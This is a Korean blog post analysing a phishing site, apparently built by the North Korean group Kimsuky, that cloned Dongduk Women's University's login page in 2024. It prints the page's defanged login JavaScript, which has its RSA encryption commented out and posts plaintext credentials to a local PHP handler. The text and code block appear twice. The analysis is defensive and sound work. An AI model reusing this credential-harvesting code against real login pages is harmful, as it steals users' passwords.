김수키 에서 만든 피싱 사이트 동덕여자대학교 피싱 사이트 분석(2024.8.7)
Contents
오늘은 우리의 민족인 북한 해킹 단체 김수키(Kimsuky)에서 만든 피싱(Phishing) 사이트이며 일단 기본적으로 해당 사이트를 통째로 백업 못해서 일단 확보한 샘플 로만 진행이 되면 2024.8월에 있었던 것이므로 지금 하고 상관은 없지만 뭐~로그인 관련 있는 것 보면 해당 대학교 교수, 교직원, 학생들의 피해는 있었을 것입니다.
일단 뭐~당연히 시각적으로 공식 동덕여자대학교하고 똑같지만 다른 사이트입니다.
일단 로그인 관련 부분부터 보겠습니다.
로그인 코드
j_password.value = password.value;
//if (true) {
// var rsa = new RSAKey();
// rsa.setPublic('d00d4c25e92(3)ed2126c2ffda4b5bfbf7d35ab66ed2409a
3d298c04cded9936f2ce68ce806461c4ffc2cf8baa93d2d9d31dfd86c85c608ff06e70
da570eca1cfd4796db726f0c7bd478a(0)13ac8037d3bbbc73120cc11c525254912a30
59691106aca96f7db106df4450250304c65491f053d33e8700821edbe4fa7d2c162238
aeaf0aa2d6a3f3b2ccdb0062d522ec9cd7(3)ffbb9cab2d585dbca39ea4e9c916844800
3f986a73e2b5ed02390c190e78129aae31e2d8e1923b16877399d231b338835c61c8009
6969289189e4cc5ee26481ea629d826bc7(d)aba4e97f4c7e04894fa47ef361cc331e06
981005bdbb87cc12ccf0cf940d02e0fc5d433b0c7f9ac011b', '10001');
// 비밀번호를 RSA로 암호화한다.
// j_password.value = rsa(.)encrypt(j_password.value);
//}
//password.value = '';
var xmlhttp;
try {
xmlhttp = new ActiveXObje(c)t("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObj(e)ct("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpReque(s)t != "undefined") {
xmlhttp = new XML(H)ttpRequest();
}
var post_val = "username="(+)username.value (+) "@" + domain(+)
"&password="+password.value+"&count="+cnt;
try {
xmlhttp.open("POST", "./j_spring_security_check(.)php");
xmlhttp.withCredentials=true;
xmlhttp.setRequestHeader("Content-type", "applicat(i)on/x-www
-form-urlencoded");
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
var response = xmlhttp(.)responseText;
if(response.indexOf("http") >= 0)
{
location.replace(response);
}
else
{
document.getElementById("error_msg").hidden = false;
}
inprocess = false;
return true;
}
}
xmlhttp.send(post_val);
} catch (e) {
document.getElementById("error_msg").hidden = false;
if(window.bridgeGotTime){throw e;}
}
cnt++;
//form.submit();
return true;
}
function signup() {
var domain = 'dongduk(.)ac(.)kr';
location.href = '/mail/signup/' (+) domain + '/agree';
}
function find(type) {
location.href = '/mail/find/' …
일단 뭐~당연히 시각적으로 공식 동덕여자대학교하고 똑같지만 다른 사이트입니다.
일단 로그인 관련 부분부터 보겠습니다.
로그인 코드
j_password.value = password.value;
//if (true) {
// var rsa = new RSAKey();
// rsa.setPublic('d00d4c25e92(3)ed2126c2ffda4b5bfbf7d35ab66ed2409a
3d298c04cded9936f2ce68ce806461c4ffc2cf8baa93d2d9d31dfd86c85c608ff06e70
da570eca1cfd4796db726f0c7bd478a(0)13ac8037d3bbbc73120cc11c525254912a30
59691106aca96f7db106df4450250304c65491f053d33e8700821edbe4fa7d2c162238
aeaf0aa2d6a3f3b2ccdb0062d522ec9cd7(3)ffbb9cab2d585dbca39ea4e9c916844800
3f986a73e2b5ed02390c190e78129aae31e2d8e1923b16877399d231b338835c61c8009
6969289189e4cc5ee26481ea629d826bc7(d)aba4e97f4c7e04894fa47ef361cc331e06
981005bdbb87cc12ccf0cf940d02e0fc5d433b0c7f9ac011b', '10001');
// 비밀번호를 RSA로 암호화한다.
// j_password.value = rsa(.)encrypt(j_password.value);
//}
//password.value = '';
var xmlhttp;
try {
xmlhttp = new ActiveXObje(c)t("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObj(e)ct("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpReque(s)t != "undefined") {
xmlhttp = new XML(H)ttpRequest();
}
var post_val = "username="(+)username.value (+) "@" + domain(+)
"&password="+password.value+"&count="+cnt;
try {
xmlhttp.open("POST", "./j_spring_security_check(.)php");
xmlhttp.withCredentials=true;
xmlhttp.setRequestHeader("Content-type", "applicat(i)on/x-www
-form-urlencoded");
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
var response = xmlhttp(.)responseText;
if(response.indexOf("http") >= 0)
{
location.replace(response);
}
else
{
document.getElementById("error_msg").hidden = false;
}
inprocess = false;
return true;
}
}
xmlhttp.send(post_val);
} catch (e) {
document.getElementById("error_msg").hidden = false;
if(window.bridgeGotTime){throw e;}
}
cnt++;
//form.submit();
return true;
}
function signup() {
var domain = 'dongduk(.)ac(.)kr';
location.href = '/mail/signup/' (+) domain + '/agree';
}
function find(type) {
location.href = '/mail/find/' …